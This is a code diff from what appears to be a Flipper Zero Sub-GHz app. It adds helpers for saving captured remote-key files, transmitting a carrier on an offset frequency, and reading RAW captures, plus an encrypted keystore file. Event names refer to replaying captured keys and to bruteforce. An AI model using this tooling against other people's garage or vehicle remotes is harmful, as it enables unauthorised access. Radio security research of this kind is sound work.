if(!flipper_format_file_open_new(save_file, full_path)) {
FURI_LOG_E(TAG, "Failed to create file: %s", full_path);
break;
}
if(!flipper_format_write_header_cstr(save_file, "Flipper SubGhz Key File", 1)) {
FURI_LOG_E(TAG, "Failed to write header");
break;
}
if(!gdr_storage_write_capture_data(save_file, flipper_format)) {
FURI_LOG_E(TAG, "Failed to write capture data");
break;
}
result = true;
FURI_LOG_I(TAG, "Saved capture to %s", full_path);
} while(false);
flipper_format_free(save_file);
furi_record_close(RECORD_STORAGE);
return result;
}
void gdr_storage_delete_temp(void) {
Storage* storage = furi_record_open(RECORD_STORAGE);
if(storage_file_exists(storage, GDR_TEMP_FILE)) {
storage_simply_remove(storage, GDR_TEMP_FILE);
FURI_LOG_I(TAG, "Deleted temp file");
}
furi_record_close(RECORD_STORAGE);
}
bool gdr_storage_save_capture(
FlipperFormat* flipper_format,
const char* protocol_name,
FuriString* out_path) {
furi_check(flipper_format);
furi_check(protocol_name);
furi_check(out_path);
if(!gdr_storage_init()) {
FURI_LOG_E(TAG, "Failed to create app folder");
return false;
}
FuriString* file_path = furi_string_alloc();
if(!gdr_storage_get_next_filename(protocol_name, file_path)) {
FURI_LOG_E(TAG, "Failed to get next filename");
furi_string_free(file_path);
return false;
}
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* save_file = flipper_format_file_alloc(storage);
bool result = false;
do {
if(!flipper_format_file_open_new(save_file, furi_string_get_cstr(file_path))) {
FURI_LOG_E(TAG, "Failed to create file");
break;
}
if(!flipper_format_write_header_cstr(save_file, "Flipper SubGhz Key File", 1)) {
FURI_LOG_E(TAG, "Failed to write header");
break;
}
if(!gdr_storage_write_capture_data(save_file, flipper_format)) {
FURI_LOG_E(TAG, "Failed to write capture data");
break;
}
if(out_path) furi_string_set(out_path, file_path);
result = true;
FURI_LOG_I(TAG, "Saved capture to %s", furi_string_get_cstr(file_path));
} while(false);
flipper_format_free(save_file);
furi_string_free(file_path);
furi_record_close(RECORD_STORAGE);
return result;
}
bool gdr_storage_delete_file(const char* file_path) {
Storage* storage = furi_record_open(RECORD_STORAGE);
bool result = storage_simply_remove(storage, file_path);
furi_record_close(RECORD_STORAGE);
FURI_LOG_I(TAG, "Delete file %s: %s", file_path, result ? "OK" : "FAILED");
return result;
}
@@ -0,0 +1,59 @@
// helpers/gdr_storage.h
#pragma once
#include <furi.h>
#include <storage/storage.h>
#include <flipper_format/flipper_format.h>
#define GDR_APP_FOLDER APP_DATA_PATH("saved")
#define GDR_APP_EXTENSION ".psf"
#define GDR_APP_FILE_VERSION 1
#define GDR_TEMP_FILE APP_DATA_PATH("saved/.temp.psf")
#define GDR_CACHE_FOLDER APP_DATA_PATH("cache")
#define GDR_HISTORY_FOLDER APP_DATA_PATH("cache/history")
// Initialize storage (create folder if needed)
bool gdr_storage_init(void);
// Save a capture to a new file (auto-generated name)
bool gdr_storage_save_capture(
FlipperFormat* flipper_format,
const char* protocol_name,
FuriString* out_path);
// Save a capture to a specific file path (user-chosen name)
bool gdr_storage_save_capture_to_path(FlipperFormat* flipper_format, const char* full_path);
// Save to temp file for emulation
bool gdr_storage_save_temp(FlipperFormat* flipper_format);
// Delete temp file
void gdr_storage_delete_temp(void);
// Get next available filename for a protocol
bool gdr_storage_get_next_filename(const char* protocol_name, FuriString* out_filename);
// Delete a file
bool gdr_storage_delete_file(const char* file_path);
// Load a file (caller must close with gdr_storage_close_file)
FlipperFormat* gdr_storage_load_file(const char* file_path);
// Close a loaded file (by gdr_storage_load_file only)
void gdr_storage_close_file(FlipperFormat* flipper_format);
// Check if file exists
bool gdr_storage_file_exists(const char* file_path);
bool gdr_storage_ensure_history_folder(void);
void gdr_storage_purge_temp_history_at_startup(void);
void gdr_storage_wipe_history_cache(void);
bool gdr_storage_save_history_capture(
FlipperFormat* flipper_format,
uint32_t seq,
FuriString* out_path);
void gdr_storage_build_history_path(uint32_t seq, FuriString* out);
@@ -0,0 +1,273 @@
// helpers/gdr_tx_chain.c
#include "gdr_tx_chain.h"
#ifdef ENABLE_SHIELD_RX_SCENE
#include <furi.h>
#include <string.h>
#define TAG "GDRTxChain"
#define GDR_TX_CARRIER_PRESET "AM650"
#define GDR_TX_POWER_COUNT 9U
#define GDR_TX_PRESET_VALUES_AM 8U
#define GDR_TX_PRESET_VALUES_COUNT 17U
static const uint8_t gdr_tx_power_value[GDR_TX_PRESET_VALUES_COUNT] = {
0,
0xC0,
0xC8,
0x84,
0x60,
0x34,
0x1D,
0x0E,
0x12,
0xC0,
0xCD,
0x86,
0x50,
0x26,
0x1D,
0x17,
0x03,
};
static size_t
gdr_tx_chain_get_pa_table_offset(const uint8_t* preset_data, size_t preset_size) {
size_t offset = 0;
while((offset + 1U) < preset_size) {
if(preset_data[offset] == 0U) {
return (offset + 2U) < preset_size ? offset + 2U : 0U;
}
offset += 2U;
}
return 0U;
}
static void gdr_tx_chain_apply_tx_power(
uint8_t* preset_data,
size_t preset_size,
uint8_t tx_power) {
if(!tx_power || tx_power >= GDR_TX_POWER_COUNT) {
return;
}
const size_t pa_offset = gdr_tx_chain_get_pa_table_offset(preset_data, preset_size);
if(!pa_offset) {
return;
}
const uint8_t fm_byte = preset_data[pa_offset];
const uint8_t am_byte = preset_data[pa_offset + 1U];
if(fm_byte && am_byte) {
return;
}
if(fm_byte) {
preset_data[pa_offset] = gdr_tx_power_value[tx_power];
} else if(am_byte) {
preset_data[pa_offset + 1U] =
gdr_tx_power_value[GDR_TX_PRESET_VALUES_AM + tx_power];
}
}
static uint8_t*
gdr_tx_chain_copy_preset(const uint8_t* src, size_t src_size, size_t* out_size) {
if(!src || !src_size || !out_size) {
return NULL;
}
uint8_t* copy = malloc(src_size);
if(!copy) {
return NULL;
}
memcpy(copy, src, src_size);
*out_size = src_size;
return copy;
}
GDRTxChain* gdr_tx_chain_alloc(void) {
GDRTxChain* chain = malloc(sizeof(GDRTxChain));
furi_check(chain);
memset(chain, 0, sizeof(GDRTxChain));
chain->preset_name = furi_string_alloc();
furi_check(chain->preset_name);
chain->state = GDRTxRxStateIDLE;
return chain;
}
void gdr_tx_chain_free(GDRTxChain* chain) {
if(!chain) {
return;
}
gdr_tx_chain_stop(chain);
if(chain->device) {
subghz_devices_idle(chain->device);
radio_device_loader_end(chain->device);
chain->device = NULL;
}
if(chain->preset_data) {
free(chain->preset_data);
chain->preset_data = NULL;
chain->preset_data_size = 0;
}
if(chain->preset_name) {
furi_string_free(chain->preset_name);
chain->preset_name = NULL;
}
free(chain);
}
bool gdr_tx_chain_acquire_device(GDRTxChain* chain) {
furi_check(chain);
chain->device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeInternal);
if(!chain->device) {
FURI_LOG_E(TAG, "Failed to acquire internal radio");
return false;
}
if(radio_device_loader_is_external(chain->device)) {
FURI_LOG_E(TAG, "Internal radio requested but external was acquired");
radio_device_loader_end(chain->device);
chain->device = NULL;
return false;
}
subghz_devices_reset(chain->device);
subghz_devices_idle(chain->device);
chain->data_gpio = subghz_devices_get_data_gpio(chain->device);
if(!chain->data_gpio) {
FURI_LOG_E(TAG, "Internal radio has no data GPIO");
radio_device_loader_end(chain->device);
chain->device = NULL;
return false;
}
FURI_LOG_I(TAG, "Acquired internal radio for carrier TX");
return true;
}
bool gdr_tx_chain_configure(
GDRTxChain* chain,
SubGhzSetting* setting,
uint32_t rx_frequency,
int32_t offset_hz,
uint8_t tx_power) {
furi_check(chain);
furi_check(setting);
const uint8_t* source_preset =
subghz_setting_get_preset_data_by_name(setting, GDR_TX_CARRIER_PRESET);
if(!source_preset) {
FURI_LOG_E(TAG, "Carrier preset %s is unavailable", GDR_TX_CARRIER_PRESET);
return false;
}
size_t preset_count = subghz_setting_get_preset_count(setting);
size_t source_size = 0;
for(size_t i = 0; i < preset_count; i++) {
if(strcmp(subghz_setting_get_preset_name(setting, i), GDR_TX_CARRIER_PRESET) ==
0) {
source_size = subghz_setting_get_preset_data_size(setting, i);
break;
}
}
if(!source_size) {
FURI_LOG_E(TAG, "Carrier preset %s has zero size", GDR_TX_CARRIER_PRESET);
return false;
}
if(chain->preset_data) {
free(chain->preset_data);
chain->preset_data = NULL;
chain->preset_data_size = 0;
}
chain->preset_data =
gdr_tx_chain_copy_preset(source_preset, source_size, &chain->preset_data_size);
if(!chain->preset_data) {
FURI_LOG_E(TAG, "Failed to copy preset data");
return false;
}
gdr_tx_chain_apply_tx_power(chain->preset_data, chain->preset_data_size, tx_power);
furi_string_set(chain->preset_name, GDR_TX_CARRIER_PRESET);
const int64_t tx_frequency_signed = (int64_t)rx_frequency + offset_hz;
if(tx_frequency_signed <= 0 || tx_frequency_signed > UINT32_MAX) {
FURI_LOG_E(
TAG,
"TX offset out of range (rx=%lu offset=%ld)",
rx_frequency,
(long)offset_hz);
return false;
}
const uint32_t tx_frequency = (uint32_t)tx_frequency_signed;
if(!subghz_devices_is_frequency_valid(chain->device, tx_frequency)) {
FURI_LOG_E(
TAG,
"Invalid TX frequency %lu (rx=%lu offset=%ld)",
tx_frequency,
rx_frequency,
(long)offset_hz);
return false;
}
chain->frequency = tx_frequency;
return true;
}
bool gdr_tx_chain_start_carrier(GDRTxChain* chain) {
furi_check(chain);
if(!chain->device || !chain->data_gpio || !chain->preset_data) {
FURI_LOG_E(TAG, "start rejected (incomplete stack)");
return false;
}
if(chain->state == GDRTxRxStateTx) {
return true;
}
subghz_devices_reset(chain->device);
subghz_devices_idle(chain->device);
subghz_devices_load_preset(chain->device, FuriHalSubGhzPresetCustom, chain->preset_data);
subghz_devices_set_frequency(chain->device, chain->frequency);
furi_hal_gpio_init(chain->data_gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_write(chain->data_gpio, true);
if(!subghz_devices_set_tx(chain->device)) {
FURI_LOG_E(TAG, "Carrier TX rejected on %lu Hz", chain->frequency);
furi_hal_gpio_write(chain->data_gpio, false);
furi_hal_gpio_init(chain->data_gpio, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
subghz_devices_idle(chain->device);
return false;
}
chain->state = GDRTxRxStateTx;
FURI_LOG_I(TAG, "Carrier TX started on %lu Hz", chain->frequency);
return true;
}
void gdr_tx_chain_stop(GDRTxChain* chain) {
if(!chain) {
return;
}
if(chain->state != GDRTxRxStateTx) {
return;
}
if(chain->device) {
subghz_devices_idle(chain->device);
}
if(chain->data_gpio) {
furi_hal_gpio_write(chain->data_gpio, false);
furi_hal_gpio_init(chain->data_gpio, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
chain->state = GDRTxRxStateIDLE;
}
#endif // ENABLE_SHIELD_RX_SCENE
@@ -0,0 +1,38 @@
// helpers/gdr_tx_chain.h
#pragma once
#include "gdr_types.h"
#ifdef ENABLE_SHIELD_RX_SCENE
#include <lib/subghz/subghz_setting.h>
#include <lib/subghz/devices/devices.h>
#include "radio_device_loader.h"
typedef struct {
const SubGhzDevice* device;
const GpioPin* data_gpio;
uint8_t* preset_data;
size_t preset_data_size;
FuriString* preset_name;
uint32_t frequency;
GDRTxRxState state;
} GDRTxChain;
GDRTxChain* gdr_tx_chain_alloc(void);
void gdr_tx_chain_free(GDRTxChain* chain);
bool gdr_tx_chain_acquire_device(GDRTxChain* chain);
bool gdr_tx_chain_configure(
GDRTxChain* chain,
SubGhzSetting* setting,
uint32_t rx_frequency,
int32_t offset_hz,
uint8_t tx_power);
bool gdr_tx_chain_start_carrier(GDRTxChain* chain);
void gdr_tx_chain_stop(GDRTxChain* chain);
#endif // ENABLE_SHIELD_RX_SCENE
@@ -0,0 +1,95 @@
// helpers/gdr_types.h
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include "../defines.h"
typedef enum {
GDRViewVariableItemList,
GDRViewSubmenu,
GDRViewWidget,
GDRViewReceiver,
GDRViewAbout,
GDRViewFileBrowser,
GDRViewTextInput,
#ifdef ENABLE_DUAL_RX_SCENE
GDRViewDualReceiver,
#endif
} GDRView;
typedef enum {
// Custom events for views
GDRCustomEventViewReceiverOK,
GDRCustomEventViewReceiverConfig,
GDRCustomEventViewReceiverBack,
GDRCustomEventViewReceiverDeleteItem,
GDRCustomEventViewReceiverUnlock,
// Custom events for scenes
GDRCustomEventSceneReceiverUpdate,
GDRCustomEventReceiverDeferredRxStart,
GDRCustomEventSceneSettingLock,
// File management
GDRCustomEventReceiverInfoSave,
GDRCustomEventReceiverInfoSaveConfirm,
GDRCustomEventReceiverInfoEmulate,
GDRCustomEventReceiverInfoBruteforceStart,
GDRCustomEventReceiverInfoBruteforceCancel,
GDRCustomEventSavedInfoDelete,
// Emulator
GDRCustomEventSavedInfoEmulate,
GDRCustomEventEmulateTransmit,
GDRCustomEventEmulateStop,
GDRCustomEventEmulateExit,
// Sub decode
GDRCustomEventSubDecodeUpdate,
GDRCustomEventSubDecodeSave,
GDRCustomEventSubDecodeBruteforceStart,
GDRCustomEventPsaBruteforceComplete,
// File Browser
GDRCustomEventSavedFileSelected,
// Need saving confirmation
GDRCustomEventSceneStay,
GDRCustomEventSceneExit,
// About scene
GDRCustomEventAboutToggleEmulate,
#ifdef ENABLE_DUAL_RX_SCENE
// Dual RX scene
GDRCustomEventDualReceiverDeferredRxStart,
GDRCustomEventDualReceiverUpdate,
GDRCustomEventViewDualReceiverOK,
GDRCustomEventViewDualReceiverBack,
GDRCustomEventViewDualReceiverDeleteItem,
GDRCustomEventViewDualReceiverConfig,
#endif
#ifdef ENABLE_SHIELD_RX_SCENE
GDRCustomEventShieldReceiverDeferredStart,
GDRCustomEventShieldReceiverUpdate,
#endif
} GDRCustomEvent;
typedef enum {
GDRLockOff,
GDRLockOn,
} GDRLock;
typedef enum {
GDRTxRxStateIDLE,
GDRTxRxStateRx,
GDRTxRxStateTx,
GDRTxRxStateSleep,
} GDRTxRxState;
typedef enum {
GDRHopperStateOFF,
GDRHopperStateRunning,
GDRHopperStatePause,
GDRHopperStateRSSITimeOut,
} GDRHopperState;
typedef enum {
GDRRxKeyStateIDLE,
GDRRxKeyStateBack,
GDRRxKeyStateStart,
GDRRxKeyStateAddKey,
} GDRRxKeyState;
@@ -0,0 +1,142 @@
// helpers/radio_device_loader.c
#include "radio_device_loader.h"
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
#include <furi.h>
#include <furi_hal.h>
#include "../defines.h"
#define TAG "RadioDeviceLoader"
static bool radio_device_loader_otg_enabled_by_loader = false;
static void radio_device_loader_power_on() {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
// CC1101 power-up time
furi_delay_ms(10);
}
if(furi_hal_power_is_otg_enabled()) {
radio_device_loader_otg_enabled_by_loader = true;
}
FURI_LOG_D(TAG, "OTG power enabled after %d attempts", attempts);
}
static void radio_device_loader_power_off() {
if(radio_device_loader_otg_enabled_by_loader && furi_hal_power_is_otg_enabled()) {
furi_hal_power_disable_otg();
radio_device_loader_otg_enabled_by_loader = false;
FURI_LOG_D(TAG, "OTG power disabled");
}
}
bool radio_device_loader_is_connect_external(const char* name) {
bool is_connect = false;
bool is_otg_enabled = furi_hal_power_is_otg_enabled();
if(!is_otg_enabled) {
radio_device_loader_power_on();
}
const SubGhzDevice* device = subghz_devices_get_by_name(name);
if(device) {
is_connect = subghz_devices_is_connect(device);
FURI_LOG_D(TAG, "External device '%s' connect check: %s", name, is_connect ? "YES" : "NO");
} else {
FURI_LOG_W(TAG, "Could not get device by name: %s", name);
}
if(!is_otg_enabled) {
radio_device_loader_power_off();
}
return is_connect;
}
const SubGhzDevice* radio_device_loader_set(
const SubGhzDevice* current_radio_device,
SubGhzRadioDeviceType radio_device_type) {
const SubGhzDevice* target_radio_device = NULL;
// Decide the target device first (external if requested+present, else internal)
if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 &&
radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
radio_device_loader_power_on();
target_radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME);
if(!target_radio_device) {
FURI_LOG_E(TAG, "Failed to get external CC1101 device, falling back to internal");
}
}
if(!target_radio_device) {
target_radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
if(!target_radio_device) {
FURI_LOG_E(TAG, "Failed to get internal CC1101 device");
return NULL;
}
}
// If were already on the target device, dont reload
if(current_radio_device == target_radio_device) {
if(target_radio_device == subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
FURI_LOG_I(TAG, "External CC1101 already selected");
} else {
FURI_LOG_I(TAG, "Internal CC1101 already selected");
}
return target_radio_device;
}
// Cleanly stop the current device before switching
if(current_radio_device) {
radio_device_loader_end(current_radio_device);
}
// Start the target device
subghz_devices_begin(target_radio_device);
// Log what we ended up with
if(target_radio_device == subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
FURI_LOG_I(TAG, "Switched to external CC1101");
} else {
if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101) {
FURI_LOG_I(TAG, "External requested but unavailable; switched to internal CC1101");
} else {
FURI_LOG_I(TAG, "Switched to internal CC1101");
}
}
return target_radio_device;
}
bool radio_device_loader_is_external(const SubGhzDevice* radio_device) {
if(!radio_device) {
FURI_LOG_W(TAG, "is_external called with NULL device");
return false;
}
const SubGhzDevice* internal_device =
subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
bool is_external = (radio_device != internal_device);
FURI_LOG_D(
TAG,
"is_external check: device=%p, internal=%p, result=%s",
radio_device,
internal_device,
is_external ? "EXTERNAL" : "INTERNAL");
return is_external;
}
void radio_device_loader_end(const SubGhzDevice* radio_device) {
furi_check(radio_device);
if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) {
subghz_devices_end(radio_device);
FURI_LOG_I(TAG, "External radio device ended");
} else {
FURI_LOG_D(TAG, "Internal radio device - no cleanup needed");
}
radio_device_loader_power_off();
}
@@ -0,0 +1,21 @@
// helpers/radio_device_loader.h
#pragma once
#include <lib/subghz/devices/devices.h>
#define SUBGHZ_DEVICE_CC1101_INT_NAME "cc1101_int"
#define SUBGHZ_DEVICE_CC1101_EXT_NAME "cc1101_ext"
/** SubGhzRadioDeviceType */
typedef enum {
SubGhzRadioDeviceTypeInternal,
SubGhzRadioDeviceTypeExternalCC1101,
} SubGhzRadioDeviceType;
const SubGhzDevice* radio_device_loader_set(
const SubGhzDevice* current_radio_device,
SubGhzRadioDeviceType radio_device_type);
bool radio_device_loader_is_connect_external(const char* name);
bool radio_device_loader_is_external(const SubGhzDevice* radio_device);
void radio_device_loader_end(const SubGhzDevice* radio_device);
@@ -0,0 +1,376 @@
#include "raw_file_reader.h"
#ifdef ENABLE_SUB_DECODE_SCENE
#include <stdint.h>
#include <toolbox/stream/stream.h>
#include <lib/flipper_format/flipper_format.h>
#include "../protocols/protocols_common.h"
#define TAG "RawFileReader"
static const char local_flipper_format_delimiter = ':';
static const char local_flipper_format_comment = '#';
static const char local_flipper_format_eoln = '\n';
static const char local_flipper_format_eolr = '\r';
struct FlipperFormat {
Stream* stream;
bool strict_mode;
};
RawFileReader* raw_file_reader_alloc(void) {
RawFileReader* reader = malloc(sizeof(RawFileReader));
furi_check(reader);
memset(reader, 0, sizeof(RawFileReader));
return reader;
}
void raw_file_reader_free(RawFileReader* reader) {
if(!reader) return;
raw_file_reader_close(reader);
free(reader);
}
static inline bool local_flipper_format_stream_is_space(char c) {
return c == ' ' || c == '\t' || c == local_flipper_format_eolr;
}
static bool local_flipper_format_stream_read_value(Stream* stream, FuriString* value, bool* last) {
enum {
LeadingSpace,
ReadValue,
TrailingSpace
} state = LeadingSpace;
const size_t buffer_size = 32;
uint8_t buffer[buffer_size];
bool result = false;
bool error = false;
furi_string_reset(value);
while(true) {
size_t was_read = stream_read(stream, buffer, buffer_size);
if(was_read == 0) {
if(state != LeadingSpace && stream_eof(stream)) {
result = true;
*last = true;
} else {
error = true;
}
}
for(size_t i = 0; i < was_read; i++) {
const uint8_t data = buffer[i];
if(state == LeadingSpace) {
if(local_flipper_format_stream_is_space(data)) {
continue;
} else if(data == local_flipper_format_eoln) {
stream_seek(stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent);
error = true;
break;
} else {
state = ReadValue;
furi_string_push_back(value, data);
}
} else if(state == ReadValue) {
if(local_flipper_format_stream_is_space(data)) {
state = TrailingSpace;
} else if(data == local_flipper_format_eoln) {
if(!stream_seek(
stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent)) {
error = true;
} else {
result = true;
*last = true;
}
break;
} else {
furi_string_push_back(value, data);
}
} else if(state == TrailingSpace) {
if(local_flipper_format_stream_is_space(data)) {
continue;
} else if(!stream_seek(
stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent)) {
error = true;
} else {
*last = (data == local_flipper_format_eoln);
result = true;
}
break;
}
}
if(error || result) break;
}
return result;
}
static bool local_flipper_format_stream_read_valid_key(Stream* stream, FuriString* key) {
furi_string_reset(key);
const size_t buffer_size = 32;
uint8_t buffer[buffer_size];
bool found = false;
bool error = false;
bool accumulate = true;
bool new_line = true;
while(true) {
size_t was_read = stream_read(stream, buffer, buffer_size);
if(was_read == 0) break;
for(size_t i = 0; i < was_read; i++) {
uint8_t data = buffer[i];
if(data == local_flipper_format_eoln) {
// EOL found, clean data, start accumulating data and set the new_line flag
furi_string_reset(key);
accumulate = true;
new_line = true;
} else if(data == local_flipper_format_eolr) {
// ignore
} else if(data == local_flipper_format_comment && new_line) {
// if there is a comment character and we are at the beginning of a new line
// do not accumulate comment data and reset the new_line flag
accumulate = false;
new_line = false;
} else if(data == local_flipper_format_delimiter) {
if(new_line) {
// we are on a "new line" and found the delimiter
// this can only be if we have previously found some kind of key, so
// clear the data, set the flag that we no longer want to accumulate data
// and reset the new_line flag
furi_string_reset(key);
accumulate = false;
new_line = false;
} else {
// parse the delimiter only if we are accumulating data
if(accumulate) {
// we found the delimiter, move the rw pointer to the delimiter location
// and signal that we have found something
if(!stream_seek(
stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent)) {
error = true;
break;
}
found = true;
break;
}
}
} else {
// just new symbol, reset the new_line flag
new_line = false;
if(accumulate) {
// and accumulate data if we want
furi_string_push_back(key, data);
}
}
}
if(found || error) break;
}
return found;
}
static bool
local_flipper_format_stream_seek_to_key(Stream* stream, const char* key, bool strict_mode) {
bool found = false;
FuriString* read_key;
read_key = furi_string_alloc();
while(!stream_eof(stream)) {
if(local_flipper_format_stream_read_valid_key(stream, read_key)) {
if(furi_string_cmp_str(read_key, key) == 0) {
if(!stream_seek(stream, 2, StreamOffsetFromCurrent)) break;
found = true;
break;
} else if(strict_mode) {
found = false;
break;
}
}
}
furi_string_free(read_key);
return found;
}
static bool local_flipper_format_stream_get_value_count(
Stream* stream,
const char* key,
uint32_t* count,
bool strict_mode) {
bool result = false;
bool last = false;
FuriString* value;
value = furi_string_alloc();
do {
if(!local_flipper_format_stream_seek_to_key(stream, key, strict_mode)) break;
*count = 0;
result = true;
while(true) {
if(!local_flipper_format_stream_read_value(stream, value, &last)) {
result = false;
break;
}
*count = *count + 1;
if(last) break;
}
} while(false);
furi_string_free(value);
return result;
}
bool raw_file_reader_open(RawFileReader* reader, const char* file_path) {
if(!reader || !file_path) return false;
raw_file_reader_close(reader);
reader->storage = furi_record_open(RECORD_STORAGE);
reader->storage_opened = true;
reader->ff = flipper_format_file_alloc(reader->storage);
if(!flipper_format_file_open_existing(reader->ff, file_path)) {
FURI_LOG_E(TAG, "Failed to open file: %s", file_path);
raw_file_reader_close(reader);
return false;
}
FuriString* temp_str = furi_string_alloc();
uint32_t version = 0;
bool valid = false;
do {
if(!flipper_format_read_header(reader->ff, temp_str, &version)) {
FURI_LOG_E(TAG, "Failed to read header");
break;
}
if(furi_string_cmp_str(temp_str, "Flipper SubGhz RAW File") != 0) {
FURI_LOG_E(TAG, "Not a RAW file");
break;
}
if(!flipper_format_read_string(reader->ff, FF_PROTOCOL, temp_str)) {
FURI_LOG_E(TAG, "Missing Protocol field");
break;
}
if(furi_string_cmp_str(temp_str, "RAW") != 0) {
FURI_LOG_E(TAG, "Protocol is not RAW");
break;
}
valid = true;
} while(false);
furi_string_free(temp_str);
if(!valid) {
raw_file_reader_close(reader);
return false;
}
reader->buffer_count = 0;
reader->buffer_index = 0;
reader->file_finished = false;
reader->current_level = true;
FURI_LOG_I(TAG, "Opened RAW file: %s", file_path);
reader->count = 0;
uint32_t temp_count = 0;
while(local_flipper_format_stream_get_value_count(
reader->ff->stream, "RAW_Data", &temp_count, reader->ff->strict_mode)) {
//reader->file_finished = true;
reader->count += temp_count;
}
flipper_format_rewind(reader->ff);
return true;
}
void raw_file_reader_close(RawFileReader* reader) {
if(!reader) return;
if(reader->ff) {
flipper_format_free(reader->ff);
reader->ff = NULL;
}
if(reader->storage_opened) {
furi_record_close(RECORD_STORAGE);
reader->storage_opened = false;
}
reader->storage = NULL;
reader->buffer_count = 0;
reader->buffer_index = 0;
reader->count = 0;
reader->file_finished = false;
}
static bool raw_file_reader_load_chunk(RawFileReader* reader) {
if(reader->file_finished) return false;
size_t to_read = (reader->count < RAW_READER_BUFFER_SIZE) ? reader->count :
RAW_READER_BUFFER_SIZE;
if(!flipper_format_read_int32(reader->ff, "RAW_Data", reader->buffer, to_read)) {
reader->file_finished = true;
return false;
}
reader->buffer_count = to_read;
reader->buffer_index = 0;
reader->count -= to_read;
return true;
}
bool raw_file_reader_get_next(RawFileReader* reader, bool* level, uint32_t* duration) {
if(!reader || !level || !duration) return false;
if(memmgr_get_free_heap() < 1024) {
FURI_LOG_E(TAG, "Not enough memory to continue reading");
return false;
}
if(reader->buffer_index >= reader->buffer_count) {
if(!raw_file_reader_load_chunk(reader)) {
return false;
}
}
int32_t value = reader->buffer[reader->buffer_index++];
if(value >= 0) {
*level = true;
*duration = (uint32_t)value;
} else {
*level = false;
*duration = (uint32_t)(-value);
}
return true;
}
bool raw_file_reader_is_finished(RawFileReader* reader) {
if(!reader) return true;
return reader->file_finished && (reader->buffer_index >= reader->buffer_count);
}
#endif // ENABLE_SUB_DECODE_SCENE
@@ -0,0 +1,29 @@
#pragma once
#include "../gdr_app_i.h"
#ifdef ENABLE_SUB_DECODE_SCENE
#include <furi.h>
#include <storage/storage.h>
#include <flipper_format/flipper_format.h>
#define RAW_READER_BUFFER_SIZE 512
typedef struct {
Storage* storage;
FlipperFormat* ff;
int32_t buffer[RAW_READER_BUFFER_SIZE];
size_t buffer_count;
size_t buffer_index;
uint32_t count;
bool file_finished;
bool current_level;
bool storage_opened;
} RawFileReader;
RawFileReader* raw_file_reader_alloc(void);
void raw_file_reader_free(RawFileReader* reader);
bool raw_file_reader_open(RawFileReader* reader, const char* file_path);
void raw_file_reader_close(RawFileReader* reader);
bool raw_file_reader_get_next(RawFileReader* reader, bool* level, uint32_t* duration);
bool raw_file_reader_is_finished(RawFileReader* reader);
#endif // ENABLE_SUB_DECODE_SCENE
Binary file not shown.

After

Width:  |  Height:  |  Size: 448 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 385 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 994 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 171 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 171 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 95 B

@@ -0,0 +1,32 @@
Filetype: Flipper SubGhz Keystore File
Version: 0
Encryption: 1
IV: 42 69 67 42 72 6F 74 68 72 57 61 74 63 68 65 73
DDCCB3575BB076A57F94B6E31CB6FF6DE4AD7D020EBF225BB046D0AA202748FC
B9AC4402F1119004DB4857C9986B97CAE8834B6356A01E405796004BE61FD583
B68059DADBD99A913BE87005120503710728E0D85BD1BBCC5AB92DB86C5C8A70
1B47835E16262394EA1A1AE54A5AB9CF05BFFFD6D4FB35C0F68EAF8D9F1256AC
8F0D12248CD35A63A625E798D9743618F723338159B620C5960F10BBC28A7194
4D638F8F7B87FAFA150731D67CC59C1D1C77D62991A6735054E63F0580B83BEA
F19B69682FB1D65628074C1ED817BAC35B51A1A4977201B65BFEBBE14F436BB46E6108D6320BF4F67D14285A15119B5F
0E5400DE76B4B737D9E86561328DD5FC06F5C7798666640EE143B05D228754CE
4C5A993BCD310E4EE11E9AB0E092889798D48FA12F7633E254578FD88859E67C
074FC9A36207CA20851708680C7AE7D680B1DE16DAF79C5A4502E5EF4F8A103E
65F94C6C6FD191A7BB5FCFA77940145411C7588495417DEDD1B0B6CE771EE35F
DE08B464B312A3190246EC46CE17A41874C07E14E652213E67FC028CF8DA2064
0117D991241760F0E36136F4DB676DC1C87981DD201A66DC9031CD3543160E0824FF61B9126CDE7C580D999BD1BEF0BA
3C6D9C324DB570278E7D67F73C01B2782BC2430C483933F7D90B7F543215A63B7A5064A1F5A27A240ABDFFA41F3099AA
2A77CFCAEC76BBAF33AF9A84097351C2DD17FAE884CB1EDE762E3F130AB55614
F6299EC2AF12AC0619AD8E2EBA39D92401D0C1C7045B0C0629DCD030FFDFFCEC
1EB9B7D48E72A43A81BFD774943384C3DAAA99193F06C024E1480C0E72018E45
16880430929593B97C8F5FEB23455550685ECC9CC2A6E43A1ED23ECF1FA8B95E
